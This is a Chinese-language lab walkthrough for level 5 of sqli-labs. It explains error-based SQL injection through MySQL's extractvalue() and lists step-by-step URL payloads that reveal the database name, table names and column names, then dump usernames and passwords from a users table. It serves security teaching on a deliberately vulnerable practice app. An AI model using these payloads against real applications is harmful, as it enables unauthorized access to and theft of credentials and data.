一、环境及工具
sqli-labs第五关 火狐浏览器 hackbar
二、知识点
1、报错注入(Error-based Injection)是SQL注入的一种形式,利用了应用程序返回的错误消息来获取数据库信息。它的原理是通过构造恶意的SQL查询,当应用程序在执行这些查询时发生错误,错误消息中可能包含了有关数据库结构、表名、列名或其他敏感信息的相关细节。攻击者可以利用这些错误消息来推断数据库的结构,进而进行进一步的攻击。
2、extractvalue()函数
是一个用于从 XML 数据中提取特定节点值的函数。它用于从 XML 文档中检索元素或属性的值。
extractvalue() 函数接受两个参数:一个是 XML 文档或 XML 字符串,另一个是一个 XPath 表达式。XPath 是一种用于在 XML 文档中定位节点的语言
如:
SELECT EXTRACTVALUE(xml_data, '/bookstore/book/title') AS title;
这句sql语句的意思是从使用 EXTRACTVALUE()
函数和 路径表达式 /bookstore/book/title
,我们提取了书的标题。结果将作为 title
列返回
3、报错信息的利用
如果我们将extractvalue()函数的路径表达式格式故意写错,如将前面的反斜杠改成‘~’,即‘~bookstore/book/title',我们将会得到一段提示报错信息。
如:
select extractvalue(doc,concat(0x7e,(select database()))) from xml;
这句可以将当前表所在的database同报错信息一同输出到屏幕当中,而攻击者则可以利用这段报错信息构建sql语句获取敏感信息。
三、实操示例
sqli-labs第五关:
1、根据报错信息判断出是单引号字符型
2、利用extractvalue()报错爆出库名为security
?id=100' and 1=extractvalue(1,concat(0x7e,(select database()))) --+
注:其中concat()是将两字符串拼接成一串,这里的0x7e对应字符为’~‘
此时执行的sql语句为:
select * from users where id='100' and 1=extractvalue(1,concat(0x7e,(select database()))) --+'
而此时extractvalue()路径表达式错误,提示错误将连同database()函数执行并显示出来。
3、获取所需数据表名
?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
可以看出爆出了几个在所在数据库的表名,其中users表是我们需要的表名
4、获取users表中的列名
?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+
此时我们爆出了users表中的三列内容,分别如图所示
4、爆出用户名与密码
?id=100' and 1=extractvalue(1,concat(0x7e,(select substring(group_concat(username,'--',password),1,31) from users))) --+
此时我们可以看到已经爆出了表中的用户名跟密码了,不过报错注入的缺点是默认返回固定的字符串数,而我们可以用substring()函数,通过更改参数方便我们查看